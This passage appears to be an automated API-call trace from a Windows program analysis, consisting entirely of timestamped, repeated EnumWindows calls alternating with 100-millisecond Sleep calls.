[0147.140] Sleep (dwMilliseconds=0x64) [0147.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.143] Sleep (dwMilliseconds=0x64) [0147.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.147] Sleep (dwMilliseconds=0x64) [0147.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.148] Sleep (dwMilliseconds=0x64) [0147.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.150] Sleep (dwMilliseconds=0x64) [0147.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.151] Sleep (dwMilliseconds=0x64) [0147.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.153] Sleep (dwMilliseconds=0x64) [0147.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.155] Sleep (dwMilliseconds=0x64) [0147.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.156] Sleep (dwMilliseconds=0x64) [0147.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.158] Sleep (dwMilliseconds=0x64) [0147.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.160] Sleep (dwMilliseconds=0x64) [0147.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.161] Sleep (dwMilliseconds=0x64) [0147.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.163] Sleep (dwMilliseconds=0x64) [0147.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.164] Sleep (dwMilliseconds=0x64) [0147.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.168] Sleep (dwMilliseconds=0x64) [0147.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.171] Sleep (dwMilliseconds=0x64) [0147.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.175] Sleep (dwMilliseconds=0x64) [0147.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.177] Sleep (dwMilliseconds=0x64) [0147.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.179] Sleep (dwMilliseconds=0x64) [0147.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.181] Sleep (dwMilliseconds=0x64) [0147.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.182] Sleep (dwMilliseconds=0x64) [0147.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.184] Sleep (dwMilliseconds=0x64) [0147.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.185] Sleep (dwMilliseconds=0x64) [0147.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.187] Sleep (dwMilliseconds=0x64) [0147.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.188] Sleep (dwMilliseconds=0x64) [0147.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.190] Sleep (dwMilliseconds=0x64) [0147.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.192] Sleep (dwMilliseconds=0x64) [0147.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.193] Sleep (dwMilliseconds=0x64) [0147.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.195] Sleep (dwMilliseconds=0x64) [0147.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.198] Sleep (dwMilliseconds=0x64) [0147.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.200] Sleep (dwMilliseconds=0x64) [0147.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.201] Sleep (dwMilliseconds=0x64) [0147.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.203] Sleep (dwMilliseconds=0x64) [0147.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.204] Sleep (dwMilliseconds=0x64) [0147.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.207] Sleep (dwMilliseconds=0x64) [0147.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.209] Sleep (dwMilliseconds=0x64) [0147.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.211] Sleep (dwMilliseconds=0x64) [0147.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.213] Sleep (dwMilliseconds=0x64) [0147.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.278] Sleep (dwMilliseconds=0x64) [0147.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.280] Sleep (dwMilliseconds=0x64) [0147.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.283] Sleep (dwMilliseconds=0x64) [0147.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.285] Sleep (dwMilliseconds=0x64) [0147.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.287] Sleep (dwMilliseconds=0x64) [0147.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.288] Sleep (dwMilliseconds=0x64) [0147.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.290] Sleep (dwMilliseconds=0x64) [0147.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.292] Sleep (dwMilliseconds=0x64) [0147.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.295] Sleep (dwMilliseconds=0x64) [0147.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.297] Sleep (dwMilliseconds=0x64) [0147.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.298] Sleep (dwMilliseconds=0x64) [0147.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.300] Sleep (dwMilliseconds=0x64) [0147.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.302] Sleep (dwMilliseconds=0x64) [0147.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.304] Sleep (dwMilliseconds=0x64) [0147.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.306] Sleep (dwMilliseconds=0x64) [0147.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.353] Sleep (dwMilliseconds=0x64) [0147.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.355] Sleep (dwMilliseconds=0x64) [0147.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.357] Sleep (dwMilliseconds=0x64) [0147.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.358] Sleep (dwMilliseconds=0x64) [0147.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.364] Sleep (dwMilliseconds=0x64) [0147.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.366] Sleep (dwMilliseconds=0x64) [0147.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.367] Sleep (dwMilliseconds=0x64) [0147.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.369] Sleep (dwMilliseconds=0x64) [0147.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.370] Sleep (dwMilliseconds=0x64) [0147.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.372] Sleep (dwMilliseconds=0x64) [0147.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.374] Sleep (dwMilliseconds=0x64) [0147.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.377] Sleep (dwMilliseconds=0x64) [0147.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.378] Sleep (dwMilliseconds=0x64) [0147.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.380] Sleep (dwMilliseconds=0x64) [0147.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.382] Sleep (dwMilliseconds=0x64) [0147.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.384] Sleep (dwMilliseconds=0x64) [0147.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.386] Sleep (dwMilliseconds=0x64) [0147.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.387] Sleep (dwMilliseconds=0x64) [0147.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.446] Sleep (dwMilliseconds=0x64) [0147.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.448] Sleep (dwMilliseconds=0x64) [0147.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.452] Sleep (dwMilliseconds=0x64) [0147.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.548] Sleep (dwMilliseconds=0x64) [0147.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.551] Sleep (dwMilliseconds=0x64) [0147.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.555] Sleep (dwMilliseconds=0x64) [0147.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.557] Sleep (dwMilliseconds=0x64) [0147.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.559] Sleep (dwMilliseconds=0x64) [0147.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.565] Sleep (dwMilliseconds=0x64) [0147.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.571] Sleep (dwMilliseconds=0x64) [0147.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.573] Sleep (dwMilliseconds=0x64) [0147.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.575] Sleep (dwMilliseconds=0x64) [0147.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.577] Sleep (dwMilliseconds=0x64) [0147.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.579] Sleep (dwMilliseconds=0x64) [0147.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.584] Sleep (dwMilliseconds=0x64) [0147.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.586] Sleep (dwMilliseconds=0x64) [0147.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.588] Sleep (dwMilliseconds=0x64) [0147.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.590] Sleep (dwMilliseconds=0x64) [0147.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.592] Sleep (dwMilliseconds=0x64) [0147.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.623] Sleep (dwMilliseconds=0x64) [0147.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.625] Sleep (dwMilliseconds=0x64) [0147.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.627] Sleep (dwMilliseconds=0x64) [0147.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.628] Sleep (dwMilliseconds=0x64) [0147.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.631] Sleep (dwMilliseconds=0x64) [0147.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.632] Sleep (dwMilliseconds=0x64) [0147.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.634] Sleep (dwMilliseconds=0x64) [0147.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.637] Sleep (dwMilliseconds=0x64) [0147.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.639] Sleep (dwMilliseconds=0x64) [0147.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.641] Sleep (dwMilliseconds=0x64) [0147.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.643] Sleep (dwMilliseconds=0x64) [0147.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.645] Sleep (dwMilliseconds=0x64) [0147.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.647] Sleep (dwMilliseconds=0x64) [0147.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.649] Sleep (dwMilliseconds=0x64) [0147.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.651] Sleep (dwMilliseconds=0x64) [0147.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.653] Sleep (dwMilliseconds=0x64) [0147.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.655] Sleep (dwMilliseconds=0x64) [0147.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.657] Sleep (dwMilliseconds=0x64) [0147.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.659] Sleep (dwMilliseconds=0x64) [0147.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.660] Sleep (dwMilliseconds=0x64) [0147.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.662] Sleep (dwMilliseconds=0x64) [0147.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.663] Sleep (dwMilliseconds=0x64) [0147.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.665] Sleep (dwMilliseconds=0x64) [0147.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.667] Sleep (dwMilliseconds=0x64) [0147.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.669] Sleep (dwMilliseconds=0x64) [0147.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.670] Sleep (dwMilliseconds=0x64) [0147.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.672] Sleep (dwMilliseconds=0x64) [0147.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.673] Sleep (dwMilliseconds=0x64) [0147.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.675] Sleep (dwMilliseconds=0x64) [0147.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.679] Sleep (dwMilliseconds=0x64) [0147.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.681] Sleep (dwMilliseconds=0x64) [0147.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.683] Sleep (dwMilliseconds=0x64) [0147.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.685] Sleep (dwMilliseconds=0x64) [0147.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.687] Sleep (dwMilliseconds=0x64) [0147.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.688] Sleep (dwMilliseconds=0x64) [0147.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.690] Sleep (dwMilliseconds=0x64) [0147.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.692] Sleep (dwMilliseconds=0x64) [0147.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.694] Sleep (dwMilliseconds=0x64) [0147.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.696] Sleep (dwMilliseconds=0x64) [0147.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.698] Sleep (dwMilliseconds=0x64) [0147.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.700] Sleep (dwMilliseconds=0x64) [0147.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.702] Sleep (dwMilliseconds=0x64) [0147.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.703] Sleep (dwMilliseconds=0x64) [0147.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.705] Sleep (dwMilliseconds=0x64) [0147.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.707] Sleep (dwMilliseconds=0x64) [0147.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.729] Sleep (dwMilliseconds=0x64) [0147.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.730] Sleep (dwMilliseconds=0x64) [0147.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.733] Sleep (dwMilliseconds=0x64) [0147.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.734] Sleep (dwMilliseconds=0x64) [0147.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.736] Sleep (dwMilliseconds=0x64) [0147.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.738] Sleep (dwMilliseconds=0x64) [0147.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.739] Sleep (dwMilliseconds=0x64) [0147.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.741] Sleep (dwMilliseconds=0x64) [0147.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.743] Sleep (dwMilliseconds=0x64) [0147.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.745] Sleep (dwMilliseconds=0x64) [0147.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.747] Sleep (dwMilliseconds=0x64) [0147.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.748] Sleep (dwMilliseconds=0x64) [0147.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.750] Sleep (dwMilliseconds=0x64) [0147.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.752] Sleep (dwMilliseconds=0x64) [0147.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.754] Sleep (dwMilliseconds=0x64) [0147.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.756] Sleep (dwMilliseconds=0x64) [0147.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.758] Sleep (dwMilliseconds=0x64) [0147.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.760] Sleep (dwMilliseconds=0x64) [0147.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.762] Sleep (dwMilliseconds=0x64) [0147.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.764] Sleep (dwMilliseconds=0x64) [0147.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.766] Sleep (dwMilliseconds=0x64) [0147.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.767] Sleep (dwMilliseconds=0x64) [0147.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.769] Sleep (dwMilliseconds=0x64) [0147.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.771] Sleep (dwMilliseconds=0x64) [0147.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.773] Sleep (dwMilliseconds=0x64) [0147.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.775] Sleep (dwMilliseconds=0x64) [0147.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.778] Sleep (dwMilliseconds=0x64) [0147.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.780] Sleep (dwMilliseconds=0x64) [0147.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.782] Sleep (dwMilliseconds=0x64) [0147.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.784] Sleep (dwMilliseconds=0x64) [0147.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.786] Sleep (dwMilliseconds=0x64) [0147.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.788] Sleep (dwMilliseconds=0x64) [0147.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.790] Sleep (dwMilliseconds=0x64) [0147.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.791] Sleep (dwMilliseconds=0x64) [0147.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.793] Sleep (dwMilliseconds=0x64) [0147.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.794] Sleep (dwMilliseconds=0x64) [0147.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.796] Sleep (dwMilliseconds=0x64) [0147.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.798] Sleep (dwMilliseconds=0x64) [0147.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.799] Sleep (dwMilliseconds=0x64) [0147.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.801] Sleep (dwMilliseconds=0x64) [0147.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.803] Sleep (dwMilliseconds=0x64) [0147.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.804] Sleep (dwMilliseconds=0x64) [0147.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.806] Sleep (dwMilliseconds=0x64) [0147.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.808] Sleep (dwMilliseconds=0x64) [0147.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.810] Sleep (dwMilliseconds=0x64) [0147.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.812] Sleep (dwMilliseconds=0x64) [0147.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.814] Sleep (dwMilliseconds=0x64) [0147.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.816] Sleep (dwMilliseconds=0x64) [0147.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.817] Sleep (dwMilliseconds=0x64) [0147.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.819] Sleep (dwMilliseconds=0x64) [0147.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.821] Sleep (dwMilliseconds=0x64) [0147.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.823] Sleep (dwMilliseconds=0x64) [0147.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.825] Sleep (dwMilliseconds=0x64) [0147.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.827] Sleep (dwMilliseconds=0x64) [0147.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.829] Sleep (dwMilliseconds=0x64) [0147.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.830] Sleep (dwMilliseconds=0x64) [0147.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.832] Sleep (dwMilliseconds=0x64) [0147.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.834] Sleep (dwMilliseconds=0x64) [0147.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.836] Sleep (dwMilliseconds=0x64) [0147.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.838] Sleep (dwMilliseconds=0x64) [0147.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.839] Sleep (dwMilliseconds=0x64) [0147.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.841] Sleep (dwMilliseconds=0x64) [0147.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.842] Sleep (dwMilliseconds=0x64) [0147.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.844] Sleep (dwMilliseconds=0x64) [0147.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.845] Sleep (dwMilliseconds=0x64) [0147.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.847] Sleep (dwMilliseconds=0x64) [0147.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.850] Sleep (dwMilliseconds=0x64) [0147.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.852] Sleep (dwMilliseconds=0x64) [0147.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.854] Sleep (dwMilliseconds=0x64) [0147.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.856] Sleep (dwMilliseconds=0x64) [0147.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.858] Sleep (dwMilliseconds=0x64) [0147.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.859] Sleep (dwMilliseconds=0x64) [0147.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.861] Sleep (dwMilliseconds=0x64) [0147.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.863] Sleep (dwMilliseconds=0x64) [0147.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.865] Sleep (dwMilliseconds=0x64) [0147.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.867] Sleep (dwMilliseconds=0x64) [0147.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.869] Sleep (dwMilliseconds=0x64) [0147.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.870] Sleep (dwMilliseconds=0x64) [0147.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.872] Sleep (dwMilliseconds=0x64) [0147.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.874] Sleep (dwMilliseconds=0x64) [0147.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.875] Sleep (dwMilliseconds=0x64) [0147.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.877] Sleep (dwMilliseconds=0x64) [0147.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.879] Sleep (dwMilliseconds=0x64) [0147.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.881] Sleep (dwMilliseconds=0x64) [0147.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.883] Sleep (dwMilliseconds=0x64) [0147.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.884] Sleep (dwMilliseconds=0x64) [0147.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.886] Sleep (dwMilliseconds=0x64) [0147.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.888] Sleep (dwMilliseconds=0x64) [0147.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.890] Sleep (dwMilliseconds=0x64) [0147.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.893] Sleep (dwMilliseconds=0x64) [0147.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.894] Sleep (dwMilliseconds=0x64) [0147.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.896] Sleep (dwMilliseconds=0x64) [0147.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.898] Sleep (dwMilliseconds=0x64) [0147.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.899] Sleep (dwMilliseconds=0x64) [0147.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.902] Sleep (dwMilliseconds=0x64) [0147.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.903] Sleep (dwMilliseconds=0x64) [0147.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.905] Sleep (dwMilliseconds=0x64) [0147.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.906] Sleep (dwMilliseconds=0x64) [0147.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.909] Sleep (dwMilliseconds=0x64) [0147.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.911] Sleep (dwMilliseconds=0x64) [0147.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.913] Sleep (dwMilliseconds=0x64) [0147.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.915] Sleep (dwMilliseconds=0x64) [0147.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.916] Sleep (dwMilliseconds=0x64) [0147.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 